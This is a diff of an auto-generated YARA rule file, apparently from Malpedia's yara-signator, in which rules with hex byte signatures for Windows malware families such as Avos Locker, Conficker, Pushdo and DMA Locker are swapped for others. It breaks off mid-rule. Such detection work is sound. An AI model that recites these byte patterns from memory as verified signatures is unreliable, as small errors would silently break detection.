+rule MALPEDIA_Win_Cmstar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7ba0a3b7-52b3-54b0-beef-ae9816fdb70a"
+		id = "aaad9b46-b601-594d-9a0b-7ba351f67235"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avos_locker_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cmstar_auto.yar#L1-L174"
 		license_url = "N/A"
-		logic_hash = "20760e04f44624b7366badbec4c361401e8cc12f236ee2efc4fb15277f942fc5"
+		logic_hash = "c5a1f8b6b909717cbba254781a42955dfe756a8fae37e256ff72ffa4cd43d897"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165109,32 +172351,38 @@ rule MALPEDIA_Win_Avos_Locker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85a8f9ffff 50 8d85fcf5ffff 50 8d8514f6ffff 50 83ec18 }
-		$sequence_1 = { 8b4024 ffd0 c645fc0a c78598f9ffff00000000 c7859cf9ffff00000000 8b08 898d98f9ffff }
-		$sequence_2 = { 59 3b4580 7359 807d8600 8a8848ef4900 8b857cffffff 8808 }
-		$sequence_3 = { 8d8d05efffff e8???????? 8a8d23f0ffff 8808 46 ebbd 6a22 }
-		$sequence_4 = { 53 50 e8???????? 83c408 c745fcffffffff 57 8b45d8 }
-		$sequence_5 = { 8bd3 3ac1 7501 46 42 8a02 84c0 }
-		$sequence_6 = { c745e800000000 660fd645e4 837de810 8945d4 8b75cc 0f43d0 8b45d0 }
-		$sequence_7 = { 33c5 50 8d45f4 64a300000000 8b4d0c 8b4508 81f900100000 }
-		$sequence_8 = { 8a42ff 84c0 75eb 81fe59ee4ef8 740b 8b7118 85ff }
-		$sequence_9 = { 89958cecffff c645fc35 8bca 8d7102 668b01 83c102 6685c0 }
+		$sequence_0 = { 836dfc10 ff75fc 8945e0 8b45dc 83c310 }
+		$sequence_1 = { 8b4dec c1e802 6a04 52 8d0481 50 e8???????? }
+		$sequence_2 = { ff75e0 ff30 e8???????? 8b4df8 }
+		$sequence_3 = { ff15???????? 8bc6 e9???????? 6a10 8d45d0 53 }
+		$sequence_4 = { ff15???????? 6a04 e8???????? be00040000 }
+		$sequence_5 = { 56 bb04010000 57 53 }
+		$sequence_6 = { ff15???????? 6a03 58 5f 5e 5b c9 }
+		$sequence_7 = { 85c0 7504 6a03 eb0d 803b4d }
+		$sequence_8 = { 81ce00ffffff 46 8a1c06 88542418 881c01 8b5c2418 }
+		$sequence_9 = { 8b2d???????? 8b44241c 8bc8 48 85c9 8944241c 7e65 }
+		$sequence_10 = { 5d 741c 8a41ff 3ac3 740b 3cff }
+		$sequence_11 = { 7505 a1???????? 50 ff15???????? eb17 }
+		$sequence_12 = { 8bf0 8d5601 52 e8???????? 83c404 8bf8 8d442414 }
+		$sequence_13 = { e9???????? 55 83f801 57 7532 }
+		$sequence_14 = { 50 ff15???????? 83f8ff 89442420 7507 33f6 e9???????? }
+		$sequence_15 = { 8b5c2408 55 8b6c2414 56 57 8b7c2418 8bcb }
 
 	condition:
-		7 of them and filesize <1701888
+		7 of them and filesize <4268032
 }
-rule MALPEDIA_Win_Rc2Fm_Auto : FILE
+rule MALPEDIA_Win_Conficker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4f1d324-0720-53a3-a9da-cb15ebd44ad4"
+		id = "3a6101de-ccfd-52f9-bf48-95f37d3da01a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rc2fm_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.conficker_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "2b4b23efded831a0bcad4decee49c98aca63a9f5af170fcd017bff9b432b8451"
+		logic_hash = "a2e85b8534ced36c659844072e09fbb061c134856a103a96122c39a859220309"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165148,34 +172396,34 @@ rule MALPEDIA_Win_Rc2Fm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48894c2408 55 57 4154 4156 488d6c24c1 4881ecb8000000 }
-		$sequence_1 = { 4883ec20 498bf1 4d8bf0 4c8bfa 488bd9 ff15???????? }
-		$sequence_2 = { 415c 5f 5b c3 488b09 4889ac2480000000 }
-		$sequence_3 = { b001 eb14 448bc3 ba00000500 b91b000100 e8???????? }
-		$sequence_4 = { 488b4808 4c897d00 4c89742460 48894df8 8d4e14 e8???????? 6690 }
-		$sequence_5 = { 448bc0 e8???????? eb0f ba0a000b00 b911000100 e8???????? 488b0d???????? }
-		$sequence_6 = { 0fb68c28304c0200 eb0c 48c1e807 0fb68c28304d0200 4863c1 448bd7 66ff8483b0090000 }
-		$sequence_7 = { 88040a ff4328 8b5328 0fb64745 488b4b10 88040a ff4328 }
-		$sequence_8 = { 83b98804000000 488bd9 7431 ff8b88040000 8b8388040000 4c8b84c360040000 4d85c0 }
-		$sequence_9 = { 0f8781010000 83fd09 0f8778010000 448b642478 4183fc04 0f8769010000 488b4938 }
+		$sequence_0 = { ebe4 f60638 75a8 b008 d0ef 1400 }
+		$sequence_1 = { df6de8 51 df6df8 51 }
+		$sequence_2 = { 8bec 83ec20 8b0d???????? a1???????? 8365f800 56 }
+		$sequence_3 = { 3c04 7415 42 42 60 b066 f2ae }
+		$sequence_4 = { c3 6a10 68???????? e8???????? 68???????? ff15???????? }
+		$sequence_5 = { 3345f8 33c7 33c6 50 ff15???????? 59 5f }
+		$sequence_6 = { 8b4508 33d2 8910 895004 33c9 894c8808 41 }
+		$sequence_7 = { 8d85f8fbffff ff7510 50 e8???????? }
+		$sequence_8 = { 8954241c 61 c3 ac }
+		$sequence_9 = { 55 8bec 83ec20 8b0d???????? a1???????? }
 
 	condition:
-		7 of them and filesize <410624
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Xpan_Auto : FILE
+rule MALPEDIA_Win_Pushdo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7325c725-fe3e-5c78-bad6-69f44695968e"
+		id = "ad774ebd-627a-5818-9f5f-1b251e52fd7e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xpan_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pushdo_auto.yar#L1-L208"
 		license_url = "N/A"
-		logic_hash = "be7f9da8e0e3ad23e9493cdb12bfec902f58437483383423a4e4858dbe439d66"
+		logic_hash = "daece01a3a8065197470b42fa0923405b1cfbd8c63e62002ad7e9af51850eb51"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -165187,32 +172435,43 @@ rule MALPEDIA_Win_Xpan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c001 c7450cffffffff 894108 8b4108 3b410c 0f83cb050000 0fb600 }
-		$sequence_1 = { 8bb018010000 85f6 0f8557010000 8b01 89cd 83f84d 0f870d1d0000 }
-		$sequence_2 = { 8b5d20 83e001 05ffffff7f 8903 8b451c c70004000000 807dbc00 }
-		$sequence_3 = { 8b442428 895c2404 89442408 ff15???????? 39c3 7247 }
-		$sequence_4 = { ffd5 83ec04 83fe05 75ea 8d7338 c7431cffffffff }
-		$sequence_5 = { 8b55d0 c645c201 0fbed8 0fb65210 e9???????? c645c100 c645c201 }
-		$sequence_6 = { 8b930c010000 88442418 be01000000 c683ff00000000 c7442404ff000000 891c24 89542408 }
-		$sequence_7 = { 0fb644242c 89442404 89f0 83c002 890424 e8???????? e9???????? }
-		$sequence_8 = { e9???????? 8d489f 80f905 0f874b0e0000 83e857 e9???????? 8b931c010000 }
-		$sequence_9 = { 31c0 e9???????? 8b44241c 897c243c 89442438 8d442438 898310010000 }
+		$sequence_0 = { 50 ff15???????? 33d2 b9ffff0000 }
+		$sequence_1 = { f7f9 33c9 ba88020000 f7e2 0f90c1 }
+		$sequence_2 = { 8b45fc b10b d3c0 61 }
+		$sequence_3 = { 81ec18010000 6800010000 6a00 8d85f0feffff }
+		$sequence_4 = { 736a 8b45fc 0fbe8c05f0feffff 038de8feffff 8b45fc }
+		$sequence_5 = { 0fbe1410 03ca 81e1ff000000 898de8feffff 8b85e8feffff 8a8c05f0feffff }
+		$sequence_6 = { c785e8feffff00000000 c745f400000000 c745fc00000000 eb09 8b55fc 83c201 8955fc }
+		$sequence_7 = { 33d1 8b450c 0345fc 8810 e9???????? }
+		$sequence_8 = { e8???????? 83c41c 85c0 7503 8975fc }
+		$sequence_9 = { 53 53 894808 8b4e14 50 }
+		$sequence_10 = { 53 6a18 ffd6 ffb5f4f7ffff 8d85f4fbffff 50 }
+		$sequence_11 = { 0fb6c3 6a03 33d2 5f f7f7 }
+		$sequence_12 = { 8d45ec 50 8d4598 50 57 57 }
+		$sequence_13 = { 52 8d8588fbffff 50 e8???????? }
+		$sequence_14 = { a1???????? 6bc00a 057f0a0000 33d2 b9a1190000 f7f1 }
+		$sequence_15 = { e8???????? 89859cd3ffff 83bd9cd3ffff00 0f8ea0000000 8d8550d3ffff 50 }
+		$sequence_16 = { 3b4dd8 7f28 8b55e4 3b55d8 0f85cf000000 8b45d8 }
+		$sequence_17 = { 81bd5cfeffff70170000 0f83e2010000 8b855cfeffff 33d2 b964000000 f7f1 85d2 }
+		$sequence_18 = { ff55e4 8945c8 eb11 8b4dd4 }
+		$sequence_19 = { 83c404 c1e002 8945e4 8b4de4 }
+		$sequence_20 = { 50 8b4dfc 51 e8???????? 85c0 7c3b 8b55f0 }
 
 	condition:
-		7 of them and filesize <3235840
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Cotx_Auto : FILE
+rule MALPEDIA_Win_Danbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4cbfd2a1-cbfc-5404-9f22-8e027db9306c"
+		id = "2c585571-1377-525b-81df-f475b9f7d032"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cotx_auto.yar#L1-L111"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.danbot_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5f62f869de8e5b67f4dbb19d8460c8365da1f60d9f53861111556d3c0f9ba6d4"
+		logic_hash = "7b636202f57d607cd3195402deda2493294df662e32f18cd69328119b0c63f1c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165226,32 +172485,32 @@ rule MALPEDIA_Win_Cotx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????a1a14538 c705????????2086e659 }
-		$sequence_1 = { 740e 3d10b6afa6 7407 3d36ce164d }
-		$sequence_2 = { 6800f00000 81c600f00000 68???????? 56 e8???????? }
-		$sequence_3 = { 50 51 8d85bcebffff 50 56 }
-		$sequence_4 = { c705????????d468bcb5 c705????????a1a14538 c705????????2086e659 c705????????eec45abf }
-		$sequence_5 = { c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d }
-		$sequence_6 = { 6800040000 8d8598f6ffff 6a00 50 e8???????? 83c40c 8d8598feffff }
-		$sequence_7 = { 8d850af8ffff c78500f8ffff52617354 6a00 50 }
-		$sequence_8 = { f3a4 50 0f1185a8faffff e8???????? }
-		$sequence_9 = { 8bce a3???????? e8???????? 8b15???????? 8b4dfc }
+		$sequence_0 = { 66893c48 448b4374 488b4b68 41ffc8 4d03c0 e8???????? 48638bac000000 }
+		$sequence_1 = { 8a4004 88040a 44016b28 8b5328 488b4330 488b4b10 8a4005 }
+		$sequence_2 = { 483bd7 7213 48ffc2 4c8bc3 488b8c2480030000 e8???????? 4c89b42490030000 }
+		$sequence_3 = { e9???????? 488b8a80000000 e9???????? 488b8a78000000 e9???????? 488b8a28000000 e9???????? }
+		$sequence_4 = { 4154 4155 4157 4881ec10060000 48c780a8fafffffeffffff 48895808 48897010 }
+		$sequence_5 = { 488b9424f0000000 4883fa10 7214 48ffc2 4d8bc4 488b8c24d8000000 e8???????? }
+		$sequence_6 = { 48ffc2 4d8bc6 488b8c2428010000 e8???????? 48899c2438010000 4889bc2440010000 889c2428010000 }
+		$sequence_7 = { 488b55df 4883fa08 7212 48ffc2 41b802000000 488b4dc7 e8???????? }
+		$sequence_8 = { 0fb6442420 84db 410f44c4 8ad8 895c2420 eb25 4c8b742460 }
+		$sequence_9 = { ffd3 99 33c2 2bc2 89442430 448be0 4c89642450 }
 
 	condition:
-		7 of them and filesize <1171456
+		7 of them and filesize <1492992
 }
-rule MALPEDIA_Win_Roseam_Auto : FILE
+rule MALPEDIA_Win_Tflower_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "88276476-b18b-5edc-880f-eae459b2a660"
+		id = "b4660b68-51d0-51ac-bbdd-acf4449bc6d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roseam_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tflower_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "3438063035004ab07a2e8d6bda2a389a18e5085289cc780bdf790db5294b5e20"
+		logic_hash = "82eb88790bbfb711d9ea01573d045bd4c38f5ceb308c5ccacf5ea018abeab10b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165265,32 +172524,38 @@ rule MALPEDIA_Win_Roseam_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 895514 eb38 895514 68???????? 68???????? 50 }
-		$sequence_1 = { 8b8c2490000000 89442408 8d44240c 6a0a }
-		$sequence_2 = { 8b12 66c745ec0200 8955f0 c745fc20000000 68???????? 50 9c }
-		$sequence_3 = { f2ae f7d1 49 894dec 8d0489 99 }
-		$sequence_4 = { 81fbff000000 895de8 0f84e2010000 8b4df8 83f903 }
-		$sequence_5 = { 57 b914000000 be???????? 8d7d90 f3a5 33d2 a4 }
-		$sequence_6 = { 58 68???????? ffd6 b91f000000 33c0 }
-		$sequence_7 = { 5d 58 8d8d58ffffff 8d95f4fcffff 51 }
-		$sequence_8 = { 83c40c f3ab 66ab aa e8???????? 8985f4fcffff }
-		$sequence_9 = { 894df0 eb0d 33c9 894dec 894df0 }
+		$sequence_0 = { 0001 0200 0103 0303 }
+		$sequence_1 = { 0001 7708 00f3 7608 }
+		$sequence_2 = { 0002 7408 00f7 7308 }
+		$sequence_3 = { 001a 0c05 003c0c 05004e0c05 }
+		$sequence_4 = { 0008 7408 0002 7408 }
+		$sequence_5 = { c1e104 0fb6d0 8b84248c000000 c1e204 8baa406f4f00 }
+		$sequence_6 = { 000f 7708 0001 7708 }
+		$sequence_7 = { c7405420164600 eb5e 57 e8???????? }
+		$sequence_8 = { 3bf7 72e3 5b 5f b001 5e }
+		$sequence_9 = { 0010 740b 0021 740b }
+		$sequence_10 = { 0fb6c0 330c85c0fe4e00 0fb6c3 8b5f28 330c85c0fa4e00 33f1 8d0411 }
+		$sequence_11 = { 8b75fc 8b7df4 c60301 eb06 8b75fc 8b7df4 }
+		$sequence_12 = { 894c2448 7436 8b442410 8d90c8795000 }
+		$sequence_13 = { 330c8520dd4e00 8b442414 c1e818 330c8520d94e00 8b44242c 0fb6c0 }
+		$sequence_14 = { 6a35 eb2b 8bfb eb04 8b442414 ff742420 }
+		$sequence_15 = { 000b 8605???????? 007885 0500788605 }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <6578176
 }
-rule MALPEDIA_Win_Rtpos_Auto : FILE
+rule MALPEDIA_Win_Dma_Locker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77dcd653-95cb-55c4-91a1-f9b9e9596fd3"
+		id = "a8f397b8-8b2b-5241-983c-0be688886121"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rtpos_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dma_locker_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "4ad89a49b88ba1ea262b015470065dd4f3f20d950975a1f27ea85a4b99624bd0"
+		logic_hash = "b77f5ca2d335c463d6c2790ec00b5fbc00e6cee8478dbf10e4d2132a598117f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165304,34 +172569,34 @@ rule MALPEDIA_Win_Rtpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68a8040000 8b45ec 50 e8???????? 83c408 c3 8b542408 }
-		$sequence_1 = { 83e908 8d7608 660fd60f 8d7f08 8b048d74b44000 }
-		$sequence_2 = { 8b0cc5c4ae4200 894de4 85c9 7455 }
-		$sequence_3 = { 7619 8b4dd4 51 ff15???????? }
-		$sequence_4 = { 8d45d8 50 6a00 8b4dd4 51 }
-		$sequence_5 = { 85c0 752c 6a00 68???????? 68???????? 6a02 68???????? }
-		$sequence_6 = { 8bec 53 8b5d08 33c9 57 33c0 8d3c9d5c654300 }
-		$sequence_7 = { 33c5 8945fc c745d800000000 c745dc00000000 33c0 }
-		$sequence_8 = { 2b45c4 3b45f0 7619 8b4dd4 51 ff15???????? }
-		$sequence_9 = { 6bc030 03048db86a4300 50 ff15???????? 5d c3 }
+		$sequence_0 = { e8???????? 8bf0 eb02 33f6 6803010000 8d8c24a1040000 }
+		$sequence_1 = { 57 56 e8???????? 83c40c 84db }
+		$sequence_2 = { 8bc7 e8???????? 84c0 741f 8b4f10 8b13 57 }
+		$sequence_3 = { 8a5dfd 32ca 8a55fc 32cb 8848ff 8aca }
+		$sequence_4 = { 8b5e04 8b0e 8945ec 8b55ec }
+		$sequence_5 = { ffd7 85c0 7fe3 5f }
+		$sequence_6 = { e8???????? 8b442420 8b00 83c40c 8d4c2424 51 }
+		$sequence_7 = { 52 ff15???????? a1???????? 6a00 50 ff15???????? e9???????? }
+		$sequence_8 = { 7545 68???????? e8???????? 8b95b0f6ffff 83c404 52 ff15???????? }
+		$sequence_9 = { 385e14 0f85e8000000 8b4618 83f8ff 7407 50 ff15???????? }
 
 	condition:
-		7 of them and filesize <507904
+		7 of them and filesize <532480
 }
-rule MALPEDIA_Win_Synccrypt_Auto : FILE
+rule MALPEDIA_Win_Cherry_Picker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "06111ba7-b1d3-5613-b1dc-5c5b2d1d9432"
+		id = "4ae5e79a-a840-5921-89d9-37d4576478a8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.synccrypt_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cherry_picker_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "f349f89fd6eccd96b82f1ed169c1d5231d52d67328e2977c4a89bd9cc0fef158"
+		logic_hash = "34271a3488eb7c13dc528b66980352e939907040bf405db0ad386d2bee3e0b44"
 		score = 75
-		quality = 45
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -165343,32 +172608,32 @@ rule MALPEDIA_Win_Synccrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744240477000000 c7042422000000 e8???????? e9???????? c7442410af000000 c744240c94195900 c74424087a000000 }
-		$sequence_1 = { ba01000000 89f8 e8???????? 85c0 8b4c242c 0f84aa000000 8b4714 }
-		$sequence_2 = { 892c24 e8???????? 892c24 89c7 e8???????? 85c0 7517 }
-		$sequence_3 = { c1e806 85c0 7523 897358 83c318 89742408 891c24 }
-		$sequence_4 = { e8???????? 85c0 74c8 8d442414 8974240c 895c2408 89442404 }
-		$sequence_5 = { e8???????? 85c0 0f8413010000 8d7804 89c1 c7406800000000 89c3 }
-		$sequence_6 = { f6400c01 7451 891c24 e8???????? 83c001 c744240897010000 c7442404???????? }
-		$sequence_7 = { c7442404???????? c7042402000000 a3???????? e8???????? c7442404???????? c704240b000000 a3???????? }
-		$sequence_8 = { e8???????? 893424 e8???????? 8b442430 890424 e8???????? 39c7 }
-		$sequence_9 = { 890424 8954240c e8???????? 3b6c2418 8d45fe 746e 8b570c }
+		$sequence_0 = { 68???????? 68???????? a3???????? ffd6 69c0e8030000 68???????? }
+		$sequence_1 = { 80fa3b 7503 83c9ff 8817 47 }
+		$sequence_2 = { 68???????? 56 89442420 ffd3 68???????? 56 }
+		$sequence_3 = { 8bf0 0fbec9 81e6ff000000 33f1 }
+		$sequence_4 = { a1???????? 53 8b1d???????? 56 57 6aff }
+		$sequence_5 = { a3???????? 85c0 7512 68???????? 50 50 }
+		$sequence_6 = { ff15???????? 8bf0 68???????? 56 ffd3 68???????? 56 }
+		$sequence_7 = { 6800010000 68???????? 68???????? 68???????? 68???????? ffd6 68???????? }
+		$sequence_8 = { a1???????? 56 6aff 50 8bf1 }
+		$sequence_9 = { ffd6 68???????? 6800010000 68???????? }
 
 	condition:
-		7 of them and filesize <4489216
+		7 of them and filesize <712704
 }
-rule MALPEDIA_Win_Meow_Auto : FILE
+rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3f4c85a0-7273-573d-9e5f-b6afea896e94"
+		id = "cba78739-b046-53e4-ac8a-fb7e1edf89cf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meow_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vermilion_strike_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "0e149c089578c6685626f307f9368d702f8c85f1bb4a2cbda9a3a1cb6a651295"
+		logic_hash = "1312a531701a8eef40faaee34110290f7221a3999f3d5685ddec7e08b4b4a11d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165382,32 +172647,32 @@ rule MALPEDIA_Win_Meow_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c685cefaffff53 c685cffaffff63 c685d0faffff53 c685d1faffff53 c685d2faffff53 8a85c9faffff e8???????? }
-		$sequence_1 = { 72dc ff75ec 8d4599 50 e8???????? 8b33 ba0f000000 }
-		$sequence_2 = { 0f8441070000 c745f4bb195c00 be03000000 8b45f4 99 f7fe 85d2 }
-		$sequence_3 = { 99 f7f9 8b45f4 85d2 7403 48 eb01 }
-		$sequence_4 = { 743b 8b45f0 83c117 83c00b 99 f7f9 8945f0 }
-		$sequence_5 = { c685dbfdffff5f c685dcfdffff7d c685ddfdffff7d c685defdffff7d 8a85d5fdffff e8???????? 898564f5ffff }
-		$sequence_6 = { 7907 48 83c8fc 83c001 7463 8b4c2410 8d4303 }
-		$sequence_7 = { 8a01 8d4901 0fb6c0 83e871 6bc037 99 f7fb }
-		$sequence_8 = { c6854dfeffff4c c6854efeffff3b c6854ffeffff6b c68550feffff3b c68551feffff26 c68552feffff3b c68553feffff18 }
-		$sequence_9 = { 99 f7f9 85d2 7445 8b442410 8d4f17 83c00b }
+		$sequence_0 = { 0f8e3f010000 56 55 8d442444 e8???????? 85ff 751b }
+		$sequence_1 = { ff15???????? 8bf7 e8???????? 8b15???????? 6a00 6a01 }
+		$sequence_2 = { 51 8d4601 e8???????? 6a30 53 8bc6 8d7c2444 }
+		$sequence_3 = { 8bd8 8beb 897c2418 85c0 7517 e8???????? 33c0 }
+		$sequence_4 = { 6a00 6a00 6a03 6a00 6a00 50 53 }
+		$sequence_5 = { 83c8ff 8bf7 c744244802000000 e8???????? 885c2440 396c2428 720d }
+		$sequence_6 = { 83c004 395e18 7205 8b7604 eb03 83c604 8b3d???????? }
+		$sequence_7 = { 8bc1 57 c746180f000000 c7461400000000 c744240400000000 c6460400 }
+		$sequence_8 = { 6a02 8bc3 7413 68???????? e8???????? 6a02 68???????? }
+		$sequence_9 = { 3bc5 7405 e8???????? 2bdf 8b542424 52 }
 
 	condition:
-		7 of them and filesize <492544
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Bolek_Auto : FILE
+rule MALPEDIA_Win_Applejeus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "21f1a0ba-06a1-5668-aea4-333af031f0f6"
+		id = "2b213dd7-4b0e-53d6-9398-7bec043b88e3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bolek_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.applejeus_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "28c372302adc63618e82259e643572bec2793a354bb442ed761054ecd6bf8112"
+		logic_hash = "0a3d67a5753a00f446b4f5eec17ef4a4499de52aeb8e82581c3d643c4e67e3d2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165421,32 +172686,32 @@ rule MALPEDIA_Win_Bolek_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894c2454 8bc7 8b8c24ac000000 8bdf 0facc808 33ed c1e318 }
-		$sequence_1 = { 3b31 72e1 51 e8???????? 59 8bc7 5f }
-		$sequence_2 = { 8bcd 0fa4c117 0bf9 c1e017 0bd8 8bcd 8b442460 }
-		$sequence_3 = { 8d86f4000000 50 e8???????? 83c418 56 6880000000 ff750c }
-		$sequence_4 = { dd442418 dc0d???????? dd1c24 68???????? 8b1d???????? 8d44242c 6a40 }
-		$sequence_5 = { eb7a 3c03 0f85bf000000 53 6a01 8d442428 50 }
-		$sequence_6 = { 85c9 746f 803900 746a 6a2c 51 890f }
-		$sequence_7 = { e8???????? eb07 814f7c00040000 5f 5e 5d 5b }
-		$sequence_8 = { 89448c20 41 83c304 ebd0 8bac2434030000 8b9c2430030000 85db }
-		$sequence_9 = { 83e4f8 83ec68 8364242000 8364242400 8b450c c744241001234567 c744241489abcdef }
+		$sequence_0 = { 8902 8b4608 8b08 8b4604 810044f3ffff 8100bc0c0000 }
+		$sequence_1 = { 8b4604 8b00 33c2 0f8583000000 c745f45b000000 8b45f4 83f032 }
+		$sequence_2 = { 8945dc 8d45d0 c745d0a08e4200 897dd4 8975d8 0f1145b0 }
